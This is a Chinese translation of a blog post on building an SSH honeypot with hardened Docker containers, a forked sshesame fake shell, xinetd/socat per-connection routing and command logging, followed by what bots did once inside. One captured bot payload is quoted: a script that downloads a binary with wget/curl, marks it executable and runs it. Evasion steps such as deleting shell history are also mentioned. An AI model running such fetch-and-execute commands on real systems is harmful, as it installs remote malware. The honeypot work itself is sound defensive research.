黑客入侵服务器_我如何允许“黑客” SSH进入我的服务器。

黑客入侵服务器

对不起,这张图片!

在上一篇文章( https://hackernoon.com/how-ive-captured-all-passwords-trying-to-ssh-into-my-server-d26a2a6263ec )中,我修改了SSH以打印bot的密码或“黑客”试图对我的服务器进行攻击。

我觉得下一步是让他们进入,所以这就是我上周所做的。

免责声明:

  • 他们将以最小的能力登录到容器
  • 他们不会得到外壳,他们会得到外壳的模拟物(芝麻)
  • 他们尝试的任何密码都可以使用(让所有密码都为h4ck3rs)
  • 这将在本文之后将销毁的香草实例上运行
  • 如果您不想阅读所有的实现,可以在文章末尾找到输出。

第1步Docker:

Docker是一个明显的选择,但是我有很多担忧,从容器触发的攻击触发某种类型的资源耗尽(叉子炸弹,文件编号等)到上传,是的,我担心人们将错误的内容上传到服务器上的容器。

我也不想让所有机器人都登录到相同的容器中,我想给每个机器人一个容器

步骤2使Docker不可用:

我将删除所有功能,然后添加我真正需要的功能:

docker run --read-only --privileged=false --cap-drop all --cap-add SYS_CHROOT --cap-add SETGID --cap-add SETUID --cap-add CHOWN  -dt bechampion/honey

我本来也可以限制记忆,但我忘了它。

我使用过的第二件事是一个名为sshesame的项目,我对其进行了分叉( https://github.com/bechampion/sshesame ),并且添加了一些修改。

基本上sshesame充当openssh服务器并模拟 shell,它让您进入,对于您运行的任何命令,它都不返回任何内容,例如:

在服务器运行时,您可以看到我的密码是“ anything”,实际上一切都进行了:

这样就可以了,它可以让您使用任何密码,并且您可以随意运行命令,而它们不会返回任何内容。

最后,我想禁止来自容器本身的互联网访问以及禁止进入主机,因此iptables和sysctl在这里起到了帮助作用:

echo 0 > /proc/sys/net/ipv4/ip_forward
iptables -A INPUT -i docker0 -p tcp --destination-port 22 -j DROP

步骤3 Docker TOO无法使用:

经过一点测试,我意识到大多数机器人都在运行uname -a并完全悲伤地退出,所以我分叉了sshesame,并添加了一些命令,motds和PS1 promts,请看一下( https://github.com/bechampion /sshesame/blob/master/channel/channel.go#L46 )和其他地方。

步骤4为每个连接分配一个唯一的容器:

好吧,如果我要使用一些常规的docker port转换,例如

docker run -dt -p 22:2222 image

那会将所有攻击者或机器人都放在同一个容器中 ,但是我不想要那样,我希望每个单独的机器人/攻击者都在自己的容器中。

因此,xinetd和socat进行了救援:

因此,服务就是xinetd中的样子,请记住更改/ etc / services以匹配此端口分配。

因此,进入端口22的每个连接都将执行honey.sh,honey.sh看起来像:

这里最重要的是,我得到了容器ip,然后运行

exec /usr/bin/socat stdin tcp:${DIP}:2222,retry=60

这会将所有从xinetd传入的流量发送到本机端口中的相关容器,该容器恰好是2222

步骤5记录所有命令:

在遇到sshesame之前,我曾想过要对所有容器或auditd进行跟踪,说实话,auditd派上用场了,说实话,我必须使用以下命令记录所有execve调用:

-D
-b 8192
-f 1
--backlog_wait_time 0
-a exit,always -F arch=b64 -S execve

我也设法得到与strace类似的东西:

strace -ffffff -p 10521 -s 100000 #optional -e trace=execve

最终,我决定使用sshesame默认json日志记录,在容器中运行时为stdout。 看起来像:

JSON很棒。

步骤6制作一个dockerfile并将其推送:

因此,下一步是创建一个多阶段的docker文件,该文件将编译sshesame并将其复制到alpine中,如下所示

docker build . -t honey

所有这些都可以在以下位置找到:

动作

我必须说,由于某些奇怪的原因,没有人登录,日子一天天过去了,我最终会进行端口扫描,仅此而已,但是几天后,一些事情开始出现:

当我看到这是当我开始认为sshesame也许太明显时,我已经添加了上面所述的修改。

几天后:

几天来,我没有看到任何有趣的东西,只是unames或/ proc / cpuinfo……但是随后事情开始出现

范例1:

Command":"#!/bin/sh\nPATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\nwget http://URL/ys53a\ncurl -O http://URL/ys53a\nchmod +x ys53a\n./ys53a\n"

基本上是下载一些东西,对其进行chmod并运行它,其中的大多数主机在几分钟后都将脱机。

范例2:

确实是同一件事,但是这个人最小心,例如删除bash_history或

mv /bin/wget /bin/good (which happens to be the crap he downloaded)

无需赘述,它们正在下载的文件是elfs,将它们串起来,您会得到类似以下内容:

各种各样令人担忧的事物,insmods,cronjobs,URL请求和套接字..我通过一些防病毒软件进行了运行,它们似乎已用于DDOS。

包装起来:

我希望这能说明SSH蜜罐可以带来的好处,说实话,我期待有更高级的产品,但最终还是..我将所有内容粘贴到了主旨中,因此您可以在这里得到它:

所有   输出值

翻译自: https://hackernoon.com/how-i-allowed-hackers-to-ssh-into-my-server-8e59984a491b

黑客入侵服务器